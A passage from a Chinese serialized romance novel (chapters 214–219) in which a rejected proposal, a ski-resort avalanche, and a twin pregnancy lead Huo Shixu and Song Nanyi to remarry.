觉得他是在说笑,“我能帮上你什么忙啊,霍时序,你是不是请错人了?”
“当然不会。”他服侍宋南伊坐下。
握着小提琴的表演家。
一边拉,一边围着他们这张餐桌转圈。
转的宋南伊快要晕了。
她从包里拿出几张百元大钞,“好了,谢谢。”
小提琴表演者拿了小费。
二话没说,就退到一旁去拉。
霍时序亲自为她斟了上好的红酒。
最近的事情一件接着一件,还有工作上忙的连轴转,他们难得坐下来,好好的谈点正事。
“有什么要找我帮忙的,说吧。”宋南伊正襟坐好,在霍时序未开口之前,先讲,“借钱可没有。”
霍时序笑了。
他可不是会花女人钱的男人。
“有比要钱,更重要的事情。”
“要命?”宋南伊摆手,“那也不行。”
他抬手捏了捏宋南伊的鼻尖,他的女人怎么可以这么可爱,“比这还要重要。”
“那要什么?”
“要你的爱。”他将钻石戒指拿出来,单膝跪地,“南伊,我想要你的爱,我想娶你,再一次娶你,这次,我一定握紧你的手,跟你白头到老,好吗?”
求婚?
她说呢,今天搞的这么隆重。
原来是蓄谋以久。
“南伊,年轻的时候,追求轰轰烈烈,爱你,得到你,占有你,成为你的另一半,是我毕生的荣耀,
日月苍老,转瞬即逝,现在的我,更想要的是与你慢慢的享受人生,
我们重温热恋,纠正错误过的人生,趁我现在还未老,趁着我还能有力气狠狠的爱你,求你嫁给我,好吗?”
他墨眸动情。
指尖也在微微颤抖。
他很紧张。
她感受的到。
宋南伊听过霍时序太多的情话。
他们曾经是一起走过青春的恋人,是最好年华携手走进婚姻殿堂的伴侣。
他们经历过怨,经历过恨,经历过无休无止的纠缠和撕心裂肺。
如今。
她有勇气,再回到他的身边吗?
“霍时序,我……”
她不否认。
她犹豫了。
当她以为,她已经可以忘掉过去,重新开始的时候。
她的心告诉她,不可以冲动。
“南伊,答应我,嫁给我,好吗?”
“霍时序,我现在还不确定,以后我们会不会……可以……,不,我是想说,我……可能还需要考虑一下。”
是的。
最后一刻,她蜷起了要伸出去的手指。
她没有勇气。
不是霍时序此时的爱不够炙热。
是她的问题。
“霍时序,我可能不够勇敢吧,我……”来真的了,她反而却步了,“……如果你愿意的话,我想再考虑一下。”
霍时序眼尾掠过一抹伤感。
掺在晶莹的水汽中,透出悲凉和失落。
他以为她会同意的。
至少,他以为,她会矫情的拒绝一小下,然后会答应他的求婚。
无论他们之间如何的亲密。
无论他跟她行过多少夫妻之事。
她的心,依然没有打开。
不难想通的,她不够爱他,说的更直白一点,她没有他想象的那么爱他,甚至,她对他已经没有爱了,也没有再生出爱来。
所谓的依赖,相思,不过就是一些瘴气,可以让他神志不清。
她却,始终是清醒的。
“所以说,从我放你离开,离婚的那一刻起,你就再也没有想过要嫁给我是吗?”他笑了,很苦,眼底有泪,“那我们这算什么?算我一厢情愿,算我自欺欺人,还是算我贱?”
第215章 她哭着笑,笑着哭
霍时序踉跄着从地上站了起来。
他笑着,却冷得令人窒息。
手中的钻石戒指,狠狠的摔在地面上。
盒子和戒指在强力下分开。
钻石撞击地面砖的声音,清脆悦耳。
宋南伊没想到他会发这么大的火,她只是说要考虑一下,又不是拒绝了他。
现在摔戒指。
还指望嫁给他后,甩她一个巴掌吗?
宋南伊没说话。
她优雅起身,将羊毛披肩,轻轻的整理了一下,拿起自己的手包,转身就走。
她的世界里,永远不会接纳,一个连自己情绪都控制不住的男人。
高跟鞋,踩出声响。
身后是霍时序咆哮的声音,“宋南伊,你现在拒绝我,以后你别后悔。”
“那我祝你以后……幸福吧。”她声音清淡,缥缈,却在空中悬浮许久。
一直等她走远。
那声音还在霍时序的头顶盘旋。
“那我……祝你以后……幸福吧。”
“妈的,老子不需要你的祝福,宋南伊,你到底有没有心啊,我为你做了这么多,为什么你要拒绝我,你知道我有多害怕你的拒绝吗?你知道我有多害怕吗?为什么还要拒绝我,为什么,我那么爱你,为什么你就是不能敞开心,来接纳我,为什么?”
霍时序拿起桌上的红酒,对着喉咙就灌了下去。
旁边的侍童,看的五官挪位,怕出事,偷偷的跟经理报备了一声。
大家都静悄悄的,生怕发出一丝响动。
宋南伊走出餐厅。
冷风一吹,她的眼眶红了起来。
她不想哭的。
可泪水就是不听使唤。
她也想答应他啊,那句我愿意就在嘴边,可她就是说不出口。
她在害怕。
前世产床上的惨死,无论她如何的跟自己和解,如何的释怀,霍时序如何努力的弥补,总在关键的时候,就跳出来,将所有的美好都抹的一干二净。
她仰起头。
想把眼泪逼回去。
眼泪却从眼角流出,被风吹散,碎在黑夜中……
像她的心。
宋南伊难过了。
回到家后,她把自己捂在被子里,哭的喉咙沙哑。
“呕……”
她捂着嘴,跑进洗手间,开始狂吐。
明明没吃东西。
那胃里的酸水,一股劲地往外倒。
她趴在洗手台上,纤瘦的身子,因为过度的呕吐,有些无力。
她看着镜子里,哭肿的眼睛。
傻傻地笑了。
看吧,爱情就是如此的摧残人。
一连三天。
宋南伊一口饭也吃不下。
南微看她病恹恹的,猜她与霍时序是出了问题。
晚上,她把小核桃哄睡后。
去了宋南伊的房间。
“最近,心情不好吗?”她递了杯牛奶给女儿,“是不是跟霍时序吵架了?”
“没有。”
宋南伊轻啜了两口牛奶。
又觉得恶心,将这两口牛奶加上胃酸,吐了个干净。
“还好吗?南伊。”南微担心女儿。
这才几天。
人瘦了一圈。
看得她心疼,“南伊,你要是心里有什么不痛快的,就跟妈说说,好过自己憋在心里。”
“我没事妈,就是最近工作太忙了,累着了。”
宋南伊不愿让父母跟着操心。
催促着南微赶紧回去休息,“妈,你去睡吧,我没事,一会儿也要睡了。”
“那你早点休息。”
南微刚走出宋南伊的卧室,就听到里面,又传来了呕吐的声音。
她是忧虑的。
回到房间,和宋知令说,“老宋,我怎么感觉南伊她,像是又怀孕了呢。”
“啊?”宋知令意外,“怎么……,你是怎么看出来的?”
“从周五开始,她接小核桃放学以后,就一个人躲在房间里,一天吐个十来次,哪有好人吐成那样,分明就是孕吐。”
南微是过来人。
她相信,宋南伊也有预感。
“老宋,我觉得南伊和霍时序,应该也出了问题,上次也是这样,怀着小核桃就离开了,这次又是……”南微叹息,觉得这样对女儿不公平,“……虽然孩子咱家养的起,但那姓霍的,也不能总捡现成的,你要不要去找他谈谈?”
“还是不要吧。”宋知令相信宋南伊,能处理好感情的事情,“我看南伊对时序还是有爱的,爱情里争争吵吵的很正常,好事多磨,你也别跟着操心了。”
“我怎么能不担心。”
南微突然想起了任家人。
前几天,她去逛商场,还遇到了任太太。
“我有没有跟你讲,我遇到老任和他太太的事情?”
宋知令不解,“没有啊,怎么了?”
“别提了,那天去商场想着给你买一件外套来着,遇到了老任和他太太,他们把任泽秦被抓的事情,全怪到我咱们南伊的头上,骂的那叫一个难听,我也没惯着他们,骂的更脏,最后让我给喷跑了。”
南微还是有一点小得意的。
她以前可是从来不会吵架。
要是别人跟她吵,没等吵,她就已经准备要掉泪了。
现在不一样。
她都是做外婆的人了。
不强势一点,哪能保护自己家的小崽子。
南微现在更不怕得罪人了,反正得让自己痛快,“以后,我们跟任家断交了,自己的儿子教不好,还要怪别人,真是给他脸了。”
“好,断交就断交,你也别生气了,赶紧去洗洗,睡觉了。”
“知道了。”
……
宋南伊一晚上都没睡好。
翻来覆去。
反胃,呕吐,反复的看手机。
霍时序一条信息都没有发过来。
她哭着笑,笑着哭,像个神经病一样。
她觉得这样不行。
隔天一大早。
她就给自己从网上订了张,去滑雪的票。
倒霉的是。
她没想到的是,会在这种地方,遇到顾南风。
“你不会是在跟踪我吧?”宋南伊对顾南风这个人的感觉很复杂。
有时候觉得他很聪明。
有时候觉得他很变态。
有时候,也会觉得他很蠢,很虚张声势。
怕他,倒是没有,更多的是防备。
顾南风围着宋南伊转了圈,绕到她耳后,“大嫂这话说的可真不浪漫,不如说是我们这儿邂逅,多棒。”
“邂逅。”宋南伊恶心笑了,“这种词,你觉得用在我俩身上是浪漫?顾总,还真的是对浪漫有误解。”
顾南风笑了。
眼神直勾勾的看着漂亮的女人。
“大嫂第一次来滑雪吧?不如,我给你当教练,我技术还可以的,保证让你即学得会,又能感受到这其中的乐趣。”
宋南伊冷哂。
让他教?
死的快一点。
“不必了,请教练也光不了几个钱,没必要省,倒是顾总,还是赶紧的享受自己的乐趣去吧。”
宋南伊滑着走了。
顾南风盯着她的背影,笑的令人难以捉摸……
第216章 人甜活好话不多
宋南伊滑雪的技术还算不错。
但她胆子小,不敢从太高的地方往下滑。
中间也遇到几个,热心的小哥哥,说陪着她慢慢滑,让她从高处尝试一下。
她拒绝了。
滑得还算尽兴。
一头的汗。
换衣服时,她又看了一眼手机,那个头像安安静静的,什么消息也没有。
……
某夜总会的包厢里。
已经在这儿醉了几天的男人。
今天却格外的清醒。
他的目光正紧紧地粘在一个,年轻貌美,有几分与宋南伊相似的女孩身上。
女孩是新来的。
有几分清纯在身上。
深得这些豪门公子哥的喜欢。
前几天,有一个富三代,为买她一笑,开了一瓶二十万的红酒。
经理看霍时序眼神有意。
便将女孩推到了他的面前,讨好的说产,“霍总,她叫丝丝,刚满二十岁,人甜活好话不多,很紧的……”
“不是雏?”霍时序抬眸,没有一丝欢愉之气。
经理有点尴尬。
这种货稀缺,一来就被人用高价把初夜买了去。
“不,不是。”
“不是雏,你还推荐的劲劲儿的,我是没见过女人?”他吃气般的,往喉咙里灌了口酒,“带着你的人,滚出去,别打扰我喝酒。”
经理战栗。
忙点头,拽着女子往外走,“是,是,霍先生,您慢慢喝。”
走到门口时,还回望了霍时序一眼。
明明那眼神,像要……
江淮忍不住,过来劝,“霍总,您要再喝下去,这身体会被喝坏的,要不,找太太聊一聊吧,她或许考虑的比较多,所以才拒绝了您的求婚。”
“还要怎么聊?床上聊得还不够,我还没见哪个女人是睡不熟的。”
霍时序心里有气。
酒喝的很急,被呛得咳嗽,“咳,咳,我还要做成什么样?江淮,没有一个人恋爱谈得跟我一样的,上床搂着脖子要,提了裤子就不认人,我也是个人啊,我的心也会受伤的。”
江淮恋爱谈得不多。
但他是个男人,特别能理解霍时序的感受。
以他这个旁观者来看的话,宋南伊不应该对霍时序毫无感情的。
可能她就是当场犹豫了那么一下。
也许再给她几分钟的时间,她就同意了呢?
“霍总,您也别难过了,要不,我先送您回家睡一觉吧。”江淮不得不搬出蓝旗来,“夫人她,今天还给我打电话问你怎么几天也不回家,您就回家一趟吧,免得老夫人担心不是。”
霍时序无动于衷。
他母亲可不是爱管他闲事的人。
“得了,用这个骗我,是觉得我是个傻子吗?”
江淮:“我没……”
霍时序把酒瓶一扔。
起身,“走,去滑雪去。”
“霍总,您刚喝了酒,要不,改天再去吧?”江淮快步追上去,“身体能允许吗?那雪山上可冷的厉害,霍总,霍总……”
……
宋南伊换好衣服,刚准备离开。
顾南风就在门口堵住了她。
“大嫂,今天玩得可够尽兴?”
宋南伊不想理他,目不斜视地说,“玩得很好,但,这跟你有什么关系?”
“大嫂,这是不把我当一家人啊,何必呢,大家抬头不见,低头见的。”顾南风脸上是令人看不透的笑容,“既然我们邂逅于此,不如一起吃个饭吧。”
宋南伊觉得好笑。
她和顾南风,什么时候成了,可以一起吃饭的关系了。
“顾南风,你是不是,把给我儿子吃假药那事给忘了?你差点害死我的儿子,你算是我的仇人,滚开。”
顾南风没动。
笑着,“大嫂可真记仇。”
“顾南风,这里是公共场所,你不要以为我保镖没在,你就可以随意欺负我,我有嘴可以喊人,我有手机也可以报警,滚远一点,行不行?”
本来她失恋,心情就糟糕。
好不容易滑了会儿雪,心里舒畅了一些,顾南风又来给她填堵。
他再聒噪下去。
她真的会给他一个巴掌。
顾南风这次不坚持了,把路给宋南伊让开,依然笑着,“大嫂别生气,那我们改天再说。”
……
宋南伊车子刚开出雪场。
就听到有人在喊,“雪崩了,大家赶紧逃啊……”
声音不是很清楚。
尤其是一些穿着滑雪服的人,似乎都听不见,还在继续滑雪。
江淮还在劝霍时序,“霍总,您也滑了一会儿了,我看这天气也不算好,要不,今天就到这儿吧。”
霍时序出了出汗。
心情也通透了一些。
“我滑个雪,你就在旁边叨叨叨叨的,累不累啊,去开车吧,我一会儿换了衣服,去找你。”
江淮的苦劝,总算有了结果。
他屁颠屁颠地,往山下的停车场走去。
霍时序刚摘下脚下的滑板。
就听到撕裂的声音,“快跑啊,雪崩来了……”
话音刚落。
霍时序就听到了极细微的一声雪裂声,像叹息。
几乎是一瞬间,雪,开始向下倾泻。
不是流淌,是咆哮,像恶兽的扑击。
树木,瞬间便被吞没、折断、卷走。
似千鼓同擂,震得人五脏六腑都要移位。
大家都惊了。
开始纷纷逃窜。
喊叫声,哭声,宠物的吠声,在这惊天动地中,慌张惊悚。
“妈妈……”
“妈妈你在哪儿……”
“妈妈……”
一个与家人走失的小女孩,站在人群中,失去方向,哭的厉害。
现场太乱了。
霍时序大手将小女孩捞到自己身边。
“别哭了,一会儿叔叔带你去找妈妈。”
小姑娘像找到了靠山,紧紧的搂着霍时序的脖子,看着雪像怪兽一般的扑面而来,“叔叔,雪,雪来了……”
霍时序回头的功夫。
雪已经淹灭了很多滑雪的人。
正朝他扑过来。
他急忙将小女孩护在身前,用自己的身体为她挡住尽可能多的伤害。
雪崩无情。
最终将整个雪场淹没。
大自然在此时摁了静音键。
……
“突发消息,雪尼尔雪场,刚刚发生雪崩,数百人,被雪掩埋,当地ZF正在安排救援力量,前往营救,请近期前往雪尼尔雪场滑雪的顾客,另作安排。”
宋南伊的车内广播,播放着当地的新闻。
雪尼尔雪场,不就是她刚刚去滑雪的地方吗?
雪崩了?
她离开的时候,好像听到有人在喊,要雪崩什么的,她没在意。
这是一走就雪崩了吗?
雪场很大的,滑雪的人数众多。
怎么会出这样的事情。
她庆幸自己命够大。
手机响起。
是江淮打来的电话。
宋南伊不是很想接,八成又是霍时序的事情。
犹豫了片刻后,还是接了,“喂,江特助。”
“太太,霍总出事了,刚刚雪崩,他被埋了,是生是死还不知道呢,你能不能来现场一趟?”
宋南伊猛踩了一脚刹车,“什么?霍时序也在雪场?”
第217章 该死的霍时序,要死还要给她一刀
江淮的声音听起来断断续续的。
大概是雪场的信号不好。
宋南伊打了把方向,又将车子往回开。
刚刚她在雪场,怎么没有看到霍时序?
他这是什么命?
什么灾,什么难的都找上他。
车子很快开到了雪场,现场有很多维持秩序的警察,不让靠近。
宋南伊将车子停下。
江淮跑了过来,“太太。”
他也受了一些伤,但看起来还好。
“什么情况?”
江淮就只知道雪崩了,至于霍时序现在是生是死,他完全不清楚。
“霍总让我去开车,我刚到停车场,就雪崩了,人瞬间被掩埋……”
江淮看着被抬出来的尸体。
头一次,心里是没底的。
“太太,霍总这次,怕是凶多吉少了。”
宋南伊的心,猛地被攥了一下。
他经历过那么多的生死劫。
不都平安活下来了。
“没事的,他不会死的。”宋南伊坚信。
江淮摇头,雪崩不同于意外。
这种冲击力是不可避免,且无法躲避的。
就算是人当场没死,埋在雪里,缺氧,低温,不是憋死就是会被活活冻死。
看看现场死的这些人就知道。
“太太,这次,没有那么乐观。”
江淮的焦虑,影响到了宋南伊。
她一阵恶心泛上喉间,先跑到一旁,吐了个天昏地暗。
“太太,你没事吧?”江淮关心。
宋南伊摆摆手,深呼吸了两口,“没事。”
现场救援还在有条不紊地进行着。
活的人也有,但比起死亡的人数来说,微乎其微。
“太太,外面太冷了,要不,您先回车里吧,一有消息,我马上就跟你说。”
江淮看宋南伊冻得直哆嗦。
他便脱下了自己的羽绒服,给宋南伊,“太太,如果不嫌弃的话,就先穿我的衣服吧。”
“不用,你赶紧穿上,别一会儿冻坏了,我车里还有衣服,我去拿一件就好。”
宋南伊回了车上。
打开了车里的暖风和广播。
这种自然灾害,死亡人数,初步是无法估计的。
广播里也是捡着好听的说,悲伤的一笔带过。
她换了厚一点的靴子。
在自己的外裤外面,又套了条羽绒裤。
然后就是一件厚厚的棉衣。
宋南伊担心霍时序,在车里哪里呆得住。
雪崩后的天气恶劣。
又是雪又是雨。
现场聚焦了越来越多遇难者的家属,哭声震天。
人,一个接一个地往外抬。
始终没有霍时序的影子。
宋南伊心里没底。
她幻想着,霍时序早已经从别的地方离开。
可,真的会是这样吗?
天色渐暗。
救援继续。
一个小姑娘被抱了出来。
她奶声奶气的跟救援人员说,“叔叔,要救叔叔,他好冷,他把衣服给我穿了,你们救他。”
“小朋友,救你的地方,没有看到叔叔啊,你说的叔叔在哪儿?”
小女孩还是太小了。
根本描述不清楚,“木板,叔叔被压着,他快没有呼吸了……”
小女孩手里紧紧的握着一个漂亮的小锦盒。
宋南伊只看了一眼就认了出来。
这不是霍时序求婚那天,放求婚钻戒的盒子吗?
她神经一崩,忙跑到跟前,“小姑娘,你能把这个盒子给我看一眼吗?”
小女孩点头。
将盒子交给了宋南伊。
她心跳得厉害。
指尖抖的,几乎握不住这个漂亮的锦盒。
打开。
那枚漂亮的钻戒,在黑夜里闪起耀眼的光泽。
真的是他。
“小姑娘,那个叔叔还活着吗?他跟你说什么了?”
小女孩摇头,“叔叔说,要我把这个盒子,交给一个姓宋的阿姨,他说,希望来世,做夫妻,他,他好像快没有呼吸了……”
宋南伊的腿是软的。
该死的霍时序,要死还要给她一刀。
救援的人很快进入到了现场。
小姑娘指认的大概的位置,开始下人救援。
救援持续的时间很长。
每过一分钟,霍时序就离死亡近一步。
江淮想冲进去,被工作人员拉住,“先生,里面危险,你不要冲动。”
“我们家总裁在里面,我得看看他是生还是死啊。”江淮哽咽,要哭了。
“我们的救援人员已经进去,您就在外面等好了。”
现场封锁。
宋南伊忐忑不安。
“快让一下,救护车。”
有人被抬了出来。
宋南伊似是
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有预感,软着脚步,走了过去,“是霍时序吗?是不是他?”
厚厚的滑雪服里面的人,冻得像个冰块。
宋南伊要上前扒拉开看看。
被工作人员拦下,“小姐,伤者要马上送去医院,再晚可能就来不及了。”
“他到底是不是霍时序啊,是不是啊?”宋南伊追着上了救护车。
随着滑雪服一层层地剥开。
一股酒气扑面而来。
面罩摘下来。
是霍时序惨白毫无血色的脸。
“病人饮酒了,注意用药。”医生和护士在沟通。
宋南伊眼眶一下就湿了。
她颤着指尖,握住了他冰凉的手,早已泪流满面。
“霍时序,你要死就死远一点,干嘛呀这是?”
她哭得不能自抑。
令人动容。
医生和护士今天见了太多没有生命迹象的人,这遇到一个可以抢救的,劲头十足。
能用的药,能做的保温,都足足的。
“这幸好是喝了酒,身体发热,可以抵御一部分的严寒,否则,这么长的时间,人早就冻僵了。”
宋南伊擦了把眼角的泪,“医生,他可以救活吗?”
“这不好说,像这种灾害,对人体的损害是相当大的,尤其是一些薄弱的器官,比如说……”
医生不知道该不该告诉宋南伊。
宋南伊神经紧崩,紧紧地盯着医生,“比如说哪儿?”
“比如说,他的生殖系统,男性的性功能方面,可能是受影响最大的地方,你是他的……”
宋南伊咬了咬唇,“太太。”
“那你要做好心理准备,当然了,这只是概率事件,不是百分百的情况,当下是要救命,只要人活了,这些慢慢是可以治疗的。”
宋南伊点头。
是啊,现在她只要他活。
车子呼啸着开往最近的医院。
一进医院,霍时序就被推进了治疗室。
江淮急匆匆地赶来,“太太,霍总怎么样了?”
“送进去抢救治疗了,希望他没事。”
宋南伊的心跳得她无法呼吸。
但往上涌的胃酸,烧得她难受。
转身,她去了洗手间,将胃酸排空。
一个小护士走进来洗手,看了宋南伊一眼,“你吐得这么厉害,可以吃一点止孕吐的药,不影响胎儿的发育的。”
第218章 去结扎吧
孕吐?
胎儿?
她怀孕了吗?
她一直以为是自己失恋的后遗症,根本没有往怀孕上面想。
她不是避孕了吗?
怎么还会……
是霍时序情之所致时,没用套?
她捂着小腹,愣神了许久,便去了挂了妇产科,做了检查。
结果很快出来。
怀了。
还是两个孕囊。
她简直不敢置信。
“我……是不是可以理解,这是双胞胎?”
“是啊,怀双胞胎的概率不是很高的,你很幸运。”医生脸上是淡而羡慕的神色,“差不多快两个月了,目前来看,很不错。”
她还真怀了双胞胎。
这算是惊喜,还是惊吓?
走出医生办公室,她将检查的单子,收好放进了包里。
包里的那个戒指盒子还在。
钻石还是那枚钻石。
她轻轻地将钻戒拿出来,就那么看了差不多有半个小时,最后套到了自己左手的无名指。
走到急救室前。
灯还没灭,抢救还在继续。
“太太,您还好吧?”
宋南伊深呼吸,“我还好。”
差不多一个小时后。
霍时序被推了出来。
看得出来,医生是尽了力了,身上的无菌服都湿透贴在胸前。
“万幸,人活了。”
宋南伊的心终于是落了地,“谢谢你啊医生。”
江淮跟着护士,一起将霍时序送去了观察室。
霍时序昏睡了几天。
一直是宋南伊守在病床前,给他倒尿袋,给他擦嘴,推着他做各种各样的检查。
还好,身体的机能损伤的不算太大。
这得益于那块支撑住雪的板子,和喝的那些酒。
“你……你怎么在这儿?”他不敢信,眼前的人,以为自己在做梦,“我不会是死了吧?”
“你要不想看到我,我现在就可以走。”她起身。
他赶紧握住了她的胳膊,紧张道,“我不是这个意思,我以为,我以为在做梦。”
“霍时序,你其实挺狠心的。”她推开他的手,坐到了病床前,拿起一个苹果,慢慢地削着,“一个电话没有,一条信息也没有,是打算跟我老死不相往来,对吧?”
他看着她漂亮又疲惫的小脸。
心头涌起万千的情绪。
求婚那天,他不应该冲她发火的。
“对不起啊。”他抱歉的。
“对不起有什么用。”她心里还是难受的,“你知道我这些日子都怎么过的?霍时序,我不会原谅你的。”
“南伊……”他去握她的手,被什么东西硌了一下。
低头仔细一看。
是他求婚的那枚阻钻戒。
心口一热。
眼眶也跟着湿了。
“老婆,你答应嫁给我了?”
宋南伊将手抽回,依然慢条斯理地削着苹果皮,“别高兴得太早了,账,我还没跟你算呢。”
“好,好,你有什么账都可以跟我算,我都接着。”他突然有力气了,坐起来,将宋南伊搂进了怀里,眼眶酸得要命,“对不起老婆,是我不好,我以后改,我以后保证不冲你发脾气,我保证,我保证。”
“好了,乖乖躺好,我还有一件事情要跟你讲。”她还有点紧张。
霍时序像个听话的孩子。
巴巴的看着宋南伊,“你说。”
“我们……那个……那个的时候,你是不是……有时候……没用套?”她脸越来越红,头也越说越低。
霍时序记得有几次。
他有时候要的次数太多了。
后面就给忘了。
“对不起啊,南伊,以后我注意。”
“去结扎吧。”她说。
霍时序:……
“真的要结扎吗?”他还想再生几个小崽子玩玩的,但老婆的话就是命令,“行,等一会儿医生来了,我跟他商量一下,看什么时候做合适。”
看着霍时序一本正经的样子。
宋南伊噗嗤笑了。
她从包里拿出孕检单,给霍时序看,“呶,你做的好事。”
霍时序害怕了。
但还是大胆的将单子,接了过去。
宋南伊等了很久,他都没有反应。
视线就落在检验单上,但人是木然的,像被点了穴。
但眼泪却吧嗒吧嗒的掉。
“霍时序,你不会吓哭了吧?”
听到宋南伊的声音,他才缓缓的将视线,落到她的脸上。
宋南伊不知道他在哭什么?
“霍时序,你哭成这样,是什么意思?不喜欢我就去打掉,干嘛呀,别搞的,我像是讹上你了似了。”
“老婆……”
他哭的更委屈了。
他感觉自己就是个坏人。
他那天,为什么要冲宋南伊发那么大的脾气。
他将她重新拥进怀里,失而复得般,“我是高兴,我是开心,我……太惊喜了,谢谢你南伊,谢谢你肯再为我生孩子,谢谢你,我这辈子给你当牛做马,不,下辈子也给你当牛做马,以后你就是咱们家的女王,咱们家的一家之主,以后我什么都听你的。”
“鬼才信。”她笑着,眼里有了泪水。
……
出院后的第一件事情。
霍时序拉着宋南伊去领了结婚证。
证件到手,宋南伊还没捂热乎,就被霍时序拿走了。
“我来保管,这来之不易的幸福。”
她笑他,“霍时序,你可真幼稚。”
他揽着她的肩,腰枝都挺直了许多,“我来想想,这次要办个什么样的婚礼。”
“不要了,同一个人,办两次婚礼,多没意思,不办了。”
而且她孕反的厉害。
动一动就想吐。
她实在无法承受,婚礼带来的繁琐,“婚礼体验过一次就够了。”
“那太委屈你了。”
他总是想给她最好的。
“只要你不冲我摔东西,我就不委屈。”她可没忘,他那副要吃人的模样,“霍时序,如果你以后敢再冲我发火,我离不了婚,我也会让你再也找不到我。”
“不敢了,哪还敢啊。”他搂着她,往车边走,“咱们现在回家,把这个好消息,告诉双方的父母,我有老婆了。”
“幼稚。”
蓝旗看到大红的结婚证。
满心满眼的都是欢喜。
她提点自己的儿子,“以后要以南伊为重,她说什么就是什么,你只有听的份,赚钱来全交给老婆保管,去哪儿要跟老婆报备,要是惹了南伊不高兴,我可是要揍你的。”
“妈,你放心,我会对南伊好的,一辈子。”他握着宋南伊的手,让她把孕检单拿出来,“老婆,给妈第二个惊喜。”
宋南伊把孕检单,递给蓝旗,“妈。”
蓝旗接过单子。
一眼就看了个明白,“南伊,你怀孕了?还是两个?天哪,我儿媳妇好能干啊。不行,我得好好的奖励。”
蓝旗把青姐叫了过来。
青姐是路姐的妹妹,这段时间一直伺候蓝旗。
她像路姐一样的能干贴心。
深得蓝旗的信任。
“青姐,去把我房间里的那个檀木盒子拿过来。”
“好的夫人。”
很快,青姐将四四方方的盒子,拿到了蓝旗的面前,“夫人。”
这个盒子里,放着很多蓝旗的首饰。
娘家的陪嫁多,但有一件,是她嫁进霍家时,霍时序的奶奶,亲自戴在她手上的。
第219章 头三个月,不能同房
霍家的祖传玉镯。
传了好多好多代了。
第一次见宋南伊时,她就想送给她的。
“南伊,这可是霍家祖传的,是你祖母当年套在我手上的,现在啊,我就把它套到你的手上,以后啊,这个家,你说了算。”
宋南伊感动。
眼眶湿湿的。
“妈,谢谢你一直以来的疼爱。”
“疼你是应该的,妈当你是女儿的。”
除了这个祖传的玉镯子,蓝旗几乎将自己压箱底的珠宝,全给了宋南伊。
她嫁进霍家门,她的婆婆待她也是极好的。
只可惜,老人走得太早。
后来变故又太多,她受了太多的苦和委屈。
连霍时序和宋南伊第一次结婚,她都被挡在了门外……
如今,她成了婆婆。
只要她活着,她定不会让儿媳妇受半点委屈的。
“那婚礼的事情?”
霍时序回道,“南伊说不想办婚礼了,我们想商量一下您,两家坐一起吃个饭,您觉得怎么样?”
蓝旗点头。
饭是一定要吃的。
她不知道儿子是不是要叫上霍明达。
“你爸那边……要通知吗?”
“不通知了,就我们。”
“好,我听你们的。”蓝旗总觉得委屈了南伊,“南伊,有了身子,就好好养着,头三个月……”
她看向自己的儿子,“……时序,你就自己睡吧。”
霍时序脸皱巴巴,“妈,我新婚啊,你让我自己睡?”
“我怕你冲动,伤着南伊和胎儿。”头三个月危险,况且还怀着两个,“你就自己睡吧,等过了三个月危险期,再说。”
“妈,这种事情……您就别管了吧。”他不同意。
他就要搂着香香的老婆睡。
谁也不能剥夺他幸福的权利。
“这事我还真得管,从今天开始,你就自己一个房间,南伊本来就孕吐得厉害,更需要好好的休息。”
母亲的话,不容置喙。
她又继续说,“还有啊,南伊说不办婚礼了,就不办了?时序,是不是脑子变傻过后,人就不寻思事儿了,就算现在她怀着孕,身子不爽,等她生了宝宝,这婚礼也要补上。”
“我们南伊,值得这个世界上最美好的东西,和最多的疼爱。”
蓝旗向来话少。
今天的每一个字,都是对宋南伊满的要溢出来的爱,以及对儿子的耳提面命。
宋南伊心里热热的。
尽管是一个人嫁了两次。
蓝旗还是给他们准备了大红的床上用品,包括所有的洗漱用品。
新衣服,新鞋子,都是喜庆的颜色,所有婚礼上备的,她一样也没有缺。
“妈可真好。”宋南伊抚着梳妆镜上的大红喜字,心里感慨,“第一次结婚的时候,孙爱芸是瞧我哪儿哪儿的都不顺眼,所有的东西,都是我自己买的。”
霍时序从她身后,将她抱住,“亲妈跟后妈,能一样吗?”
“可是有些亲婆婆,也是瞧不上儿媳妇啊,总觉得是儿媳妇把儿子抢走了。”宋南伊在网上看到不少奇葩的事情,“还有的婆婆,睡到儿子和媳妇中间,你说,变不变态?”
“那可就……”霍时序笑着摇头。
“霍时序。”
“叫老公。”他大手从她的纤腰,缓慢上移,“不叫老公,现在就办了你。”
“霍时序,我怀着孕呢。”她往他不老实的大手,拍了一下,“妈可说了,让你自己一间卧室,不要过来打扰我。”
“你忍心?”他的唇在她的脖子里,有一下没一下的吻着,“老婆,我晚上要跟你一起睡。”
“妈说了,要派陈伯看住你。”
霍时序:……不要这样吧?
宋南伊笑的花枝乱颤。
婆婆是了解自己儿子的。
陈伯把门,也一定是尽忠职守。
她捏着他的鼻子,晃了晃,“霍时序啊霍时序,你也有今天。”
“宋南伊,你别高兴的太早了,等三个月后,你看我弄不弄你就完了。”
他在她的颈子上吻了一口。
不轻不重的,留下了暧昧的痕迹。
……
两家人的见面。
订在了江城大酒店最顶级的包厢。
菜品上等。
蓝旗的二哥二嫂旅居国外,另外两个哥哥都在国外出差,赶不回来,她便叫上了大嫂和三嫂。
大舅妈给宋南伊准备了价值不菲的见面礼。
把娘家礼数做的体面又周到。
三舅妈抠抠嗖嗖的,就送了套成色一般的珠宝。
蓝旗没计较。
宋南伊跟着霍时序身边,对长辈说了很多场面上感谢的话。
“阿旗,你现在终于是圆满了,南伊这孩子一看就孝顺,你以后可得多疼她。”
蓝旗点头,“大嫂,你放心吧,我会当她是亲女儿来疼的。”
“这就对了,我真替你高兴。”大舅妈家里也有一个儿子,感情之事也是浮浮沉沉,“我呀,也不知道什么时候,才能当婆婆。小峻啊,就是不如时序省心。”
“大嫂,这姻缘是天定的,早点晚点的事情,你别急,小峻一表人才,为人和善,脾气又好,一定会给你娶一个好媳妇回来的。”
大舅妈听得心里舒坦,“那借你吉言了。”
宋家人还没到。
三舅妈把面前的坚果,磕光了一半,“我说阿旗,这宋家人怎么还没来啊,看不起我们是不是?这都几点了?”
大舅妈就烦三舅妈,没事找事的样子,“怎么着,你着急回家看孙子啊?老三媳妇,不是我说你,今天这么好的日子,这么好的事情,你给我消停一点。”
“我怎么不消停了?”三舅妈把手中坚果往桌子上一扔,“我心里多少委屈的事情啊,我不也在忍着吗?我做得够可以了,你还在说我。”
“你委屈什么?你的委屈跟阿旗有什么关系?”
三舅妈翻了个白眼,“怎么跟她没关系了,我们家小小去时序公司上班,这上了才没几天,就给送到了霍氏,本来也是好事对吧,但现在被霍氏又开除了,都是自家人,这样做,未免也太伤人了。”
大舅妈懂了。
这是在生霍时序的气。
